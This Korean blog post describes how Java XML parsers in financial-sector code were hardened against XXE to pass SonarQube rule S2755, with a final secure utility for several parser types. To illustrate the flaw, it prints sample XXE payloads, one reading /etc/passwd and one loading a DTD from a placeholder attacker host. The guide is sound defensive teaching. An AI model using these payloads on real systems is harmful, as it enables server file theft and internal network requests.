이 글에 등장하는 코드는 금융권 보안 정책상 실제 프로젝트 코드를 그대로 공개할 수 없어, 동일한 취약 패턴과 해결 흐름을 재현한 샘플로 대체했다. 클래스명·테이블명·경로 같은 식별자는 가상이지만, SonarQube가 잡는 데이터 플로우와 통과 조건은 실제 환경과 같다.
📑 목차
JDK 21 업그레이드 작업 중 SonarQube XXE 룰 S2755가 거래 전문(XML 메시지) 파서에서 18건 떴다. 금융권은 EDI, 대외기관 연계 전문, 공공기관 응답 파일 등에서 여전히 XML을 많이 쓴다. 그 파서들이 거의 전부 기본 설정으로 만들어져 있었다.
로직 변경 없이 SonarQube XXE 룰을 통과시키기 위해 시도한 3가지와 최종 해결 코드를 정리한다.

레거시 XML 파서 패턴
// 대외기관 응답 전문 파싱
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));
기본 설정의 DocumentBuilderFactory는 외부 엔티티(External Entity)를 그대로 처리한다. 공격자가 <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> 같은 DOCTYPE을 끼워 넣으면 서버 파일을 읽거나 내부망에 SSRF를 날릴 수 있다. SonarQube XXE 룰 S2755는 이 흐름을 그대로 잡는다.
SAXParserFactory, XMLInputFactory, TransformerFactory도 같은 룰의 대상이다. 패턴은 다 비슷하다.
시도 1. setValidating(false) — 실패
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setValidating(false);
S2755는 그대로다. setValidating은 DTD 검증을 끌 뿐이고, XXE는 검증과 무관하게 엔티티 처리 단계에서 일어난다. DTD를 검증하지 않아도 외부 엔티티는 여전히 fetch된다.
시도 2. setExpandEntityReferences(false) — 실패
dbf.setExpandEntityReferences(false);
이름만 보면 막아줄 것 같은데, 실제로는 JAXP 구현체에 따라 무시되거나 부분 적용된다. SonarQube도 이 옵션을 sanitize로 인정하지 않는다. S2755 그대로 떠 있다.
시도 3. external-general-entities feature만 disable — 부분 실패
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
일반 외부 엔티티는 막힌다. 그런데 parameter entity 기반 공격이 여전히 가능하다. 다음과 같은 페이로드는 통과한다.
<!DOCTYPE foo [
<!ENTITY % a SYSTEM "http://attacker/evil.dtd">
%a;
]>
SonarQube도 룰 가이드에서 이 feature 하나로는 부족하다고 명시한다. parameter entity를 별도로 막거나, 아예 DOCTYPE 자체를 차단해야 통과한다.
최종 해결 — feature 4종 + DOCTYPE 차단
OWASP 가이드와 SonarSource 룰 페이지에서 권장하는 형태다. 전사 공통 유틸로 빼서 모든 파서 생성을 이걸로 통일했다.
public final class XmlSafe {
private XmlSafe() {}
public static DocumentBuilder newDocumentBuilder() throws ParserConfigurationException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 1) DOCTYPE 자체를 차단 — 가장 강력하고 깔끔하다
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 2) 외부 엔티티 fetch 차단
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// 3) 외부 DTD 로드 차단
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
// 4) 마지막 안전장치
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
return dbf.newDocumentBuilder();
}
}
호출 측은 단순해진다.
Document doc = XmlSafe.newDocumentBuilder()
.parse(new InputSource(new StringReader(xml)));
SAX/StAX 파서도 같은 패턴으로 처리한다.
// SAXParserFactory
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setXIncludeAware(false);
// XMLInputFactory (StAX)
XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false);
// TransformerFactory
TransformerFactory tf = TransformerFactory.newInstance();
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
핵심은 disallow-doctype-decl = true다. 거래 전문이나 EDI 같은 데이터 XML은 어차피 DOCTYPE이 필요 없다. 이 옵션 하나로 XXE 공격 표면을 거의 다 닫는다. DOCTYPE이 와야 하는 특수 케이스에만 나머지 feature 조합으로 우회한다. SonarQube XXE 룰은 이 패턴을 sanitize로 인정한다.
운영 팁 하나. setFeature는 SAXNotRecognizedException을 던질 수 있다. JAXP 구현체에 따라 일부 feature가 없을 수 있어서 try-catch로 한 번 감싸두는 것을 권장한다. 실무에서는 사내 공통 모듈로 빼두면 한 번 정의하고 끝이다.
파서별 추가 적용 방법과 운영 팁
Spring @RequestBody XML — MVC 레벨 처리
REST API에서 Content-Type: application/xml 요청을 받는 경우, Spring의 기본 Jaxb2RootElementHttpMessageConverter가 내부적으로 DocumentBuilderFactory를 쓴다. 컨트롤러마다 개별 처리하는 대신 커스텀 컨버터를 등록하면 전체에 일괄 적용된다.
@Configuration
public class WebMvcConfig implements WebMvcConfigurer {
@Override
public void extendMessageConverters(List<HttpMessageConverter<?>> converters) {
converters.removeIf(c -> c instanceof Jaxb2RootElementHttpMessageConverter);
Jaxb2RootElementHttpMessageConverter safe =
new Jaxb2RootElementHttpMessageConverter() {
@Override
protected XMLInputFactory createXmlInputFactory() {
XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty(
"javax.xml.stream.isSupportingExternalEntities", false);
return xif;
}
};
converters.add(0, safe);
}
}
이 설정으로 Spring이 수신하는 XML 요청 전체에 XXE 방어가 자동 적용된다.
TransformerFactory — XSLT 변환 케이스
EDI 레거시에서는 수신 XML을 XSLT로 변환하는 코드가 있다. TransformerFactory도 S2755 대상이다.
TransformerFactory tf = TransformerFactory.newInstance();
// 빈 문자열로 설정하면 외부 리소스 접근 전체 차단
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
Transformer transformer = tf.newTransformer(new StreamSource(xsltFile));
transformer.transform(new StreamSource(inputXml), new StreamResult(output));
null이 아닌 빈 문자열("")이어야 한다. null을 넣으면 JAXP 구현체에 따라 설정이 무시될 수 있다.
운영 중 ParserConfigurationException 처리
서버 환경에 따라 일부 XML 구현체가 특정 feature를 인식하지 못해 ParserConfigurationException을 던지는 경우가 있다. IBM JDK나 일부 WAS 내장 파서에서 발생하는 사례다.
public static DocumentBuilder newDocumentBuilder() throws ParserConfigurationException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// disallow-doctype-decl은 가장 중요 — 실패하면 파서 생성 중단
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
String[] optionalFeatures = {
"http://xml.org/sax/features/external-general-entities",
"http://xml.org/sax/features/external-parameter-entities",
"http://apache.org/xml/features/nonvalidating/load-external-dtd"
};
for (String feature : optionalFeatures) {
try {
dbf.setFeature(feature, false);
} catch (ParserConfigurationException e) {
// 구현체 미지원 feature — 경고 로그 후 계속
log.warn("XXE feature not supported: {}", feature);
}
}
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
return dbf.newDocumentBuilder();
}
핵심인 disallow-doctype-decl만큼은 설정 실패 시 예외를 전파해서 파서를 생성하지 않도록 한다. 보안 설정이 누락된 상태로 파서가 동작하는 게 가장 위험하다. 나머지 feature는 경고 로그만 남기고 계속 진행해도 disallow-doctype-decl이 있으면 XXE 공격은 차단된다.
정리
SonarQube XXE 대응의 본질은 한 줄이다. 가능하면 DOCTYPE 자체를 끄고, 안 되면 외부 엔티티 4종을 전부 닫는다. 옵션 하나만 끼워 넣는 시도는 전부 부분 우회 또는 룰 미통과로 끝났다. 공통 유틸 하나 만들어 두고 전사 적용하는 게 가장 빠른 정답이었다.
여기까지 Injection 시리즈 5편을 마무리한다. SQL, Command, XSS, Path Traversal까지 본질은 모두 같았다 — 외부 입력을 인터프리터에 그대로 넘기지 말 것. 다음 편부터는 Vulnerability 시리즈로 이어진다. 첫 글은 금융권에서 가장 많이 잡히는 약한 해시 알고리즘(S2070) 케이스다.
SonarQube XXE 룰 본문은 SonarSource 공식 룰 페이지(S2755), XXE 방어 가이드는 OWASP XXE Prevention Cheat Sheet에서 확인할 수 있다.